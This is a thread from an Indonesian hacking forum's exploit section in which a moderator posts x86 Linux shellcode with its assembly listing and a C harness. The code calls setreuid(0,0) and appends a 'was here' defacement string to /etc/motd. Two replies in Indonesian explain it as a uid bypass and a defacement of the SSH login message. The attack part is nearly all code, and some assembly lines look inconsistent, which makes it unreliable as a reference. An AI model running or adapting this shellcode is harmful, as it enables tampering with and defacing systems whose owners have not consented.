Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-22-2013, 08:00 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Exploit v
« Previous 1 ... 10 11 12 13 14 15 Next »

writing shellcode (write to a file/stdout)

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
writing shellcode (write to a file/stdout)
05-21-2010, 12:47 AM
Post: #1
Qrembiezs Offline
Global Moderator
****
Global Moderators
Posts: 556
Joined: Mar 2010
Reputation: 40
Question writing shellcode (write to a file/stdout)
Code:
/*
        WRITING SHELLCODE by Intruder

        This code writes "Qrembiezs Intruder Was here" to /etc/motd after setreuid(0,0).

.text
.globl main
        .type    main,@function
_start:
        # setreuid (0, 0)
        xorl %eax,%eax
        xorl %ebx,%ebx
        xorl %ecx,%ecx
        xorl %edx,%edx
        movb $70,%al
        int  $0x80

        jmp 0x20
        popl %esi
        leal (%esi), %ebx
    movb %edx,0x9(%esi)

        # open("/etc/motd", O_RDWR|O_NONBLOCK|O_APPEND)
        movb $5, %al
        movw $0xc02, %cx
        int  $0x80

    leal 0xa(%ebx), %ecx
        movl %eax, %ebx

        # write(%ebx, <text>, <size>)
        movb $4, %al
        movb $17, %dx
        int  $0x80

        # exit(0)
        xorl %eax, %eax
        xorl %ebx, %ebx
    inc  %eax
        int $0x80
        call -0x25
    .string "/etc/motd8Qrembiezs Was Here\n"
*/

char code[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x20\x5e\x8d"
"\x1e\x88\x56\x09\xb0\x05\x66\xb9\x02\x0c\xcd\x80\x8d\x4b\x0a\x89"
"\xc3\xb0\x04\xb2\x11\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xdb"
"\xff\xff\xff/etc/motd8Qrembiezs was here\n";

#define NAME "writing shellcode by Intruder"
main()
{
  int (*funct)();
  funct = (int (*)()) code;
  printf("%s\n\tSize = %d\n",NAME,strlen(code));
  (int)(*funct)();
}

Jalan ga ya ????
Find all posts by this user
Quote this message in a reply
05-21-2010, 06:43 AM
Post: #2
kiddies Away
Administrator
*******
Administrators
Posts: 1,224
Joined: Dec 2009
Reputation: 40
RE: writing shellcode (write to a file/stdout)
ini shellcodenya buat apa gan....ane bingung jadi mau cobanya...ngeri gan.....yang ane lihad dari syscall yang digunakan sih ini buat setreuid yah..alias bypass uid yah gan....
Find all posts by this user
Quote this message in a reply
06-26-2010, 09:43 PM
Post: #3
gunslinger_ Offline
Administrator
*******
Administrators
Posts: 126
Joined: Dec 2009
Reputation: 4
RE: writing shellcode (write to a file/stdout)
cuma buat isi message of the day (/etc/motd) pake string 'Qrembiezs was here' itu. yah dengan kata lain deface message welcomenya ssh...
Visit this user's website Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
Thumbs Up [Tutor] POC + Exploit Wordpress ~ Video Blogging Arbitrary File Upload Regel 11 672 02-02-2013 12:19 AM
Last Post: copaker21
  #DiyWeb Admin Bypass dan Remote file/shell Upload exploit AnonymousOpsID 4 336 11-06-2012 05:07 PM
Last Post: rock_me
  Menghasilkan Shellcode Menggunakan msfpayload Metasploit Command Instance dvildance 5 119 10-29-2012 01:22 AM
Last Post: civo
Bug CMS Schoolhos - Remote Arbitrary File Upload nuxbie_cyber 10 346 06-28-2012 06:47 PM
Last Post: Loex
Lightbulb [Cara]take over 1 host dengan shellcode alessandra 20 696 04-30-2012 07:24 PM
Last Post: badwolves1986
  KasKus File Upload Vulnerability ? rusuh 24 1,042 04-13-2012 05:23 PM
Last Post: KING_cobra
Bug [Tutor] Com_kunena Upload file ohara_inamiji 11 543 03-13-2012 05:18 PM
Last Post: aliend
  [Tutor] Waibrasil Remote / Local File Inclusion _Faz_ 3 189 02-12-2012 11:21 PM
Last Post: ketek
  Local File Disclosure Vulnerability di Lokomedia CMS (sukaCMS) banditc0de 20 478 08-09-2011 04:02 PM
Last Post: nyxzryu
  Lokomedia CMS 1.5 Local file Inclution wenkhairu 8 327 08-09-2011 05:30 AM
Last Post: hakimoxz

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-22-2013, 08:00 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE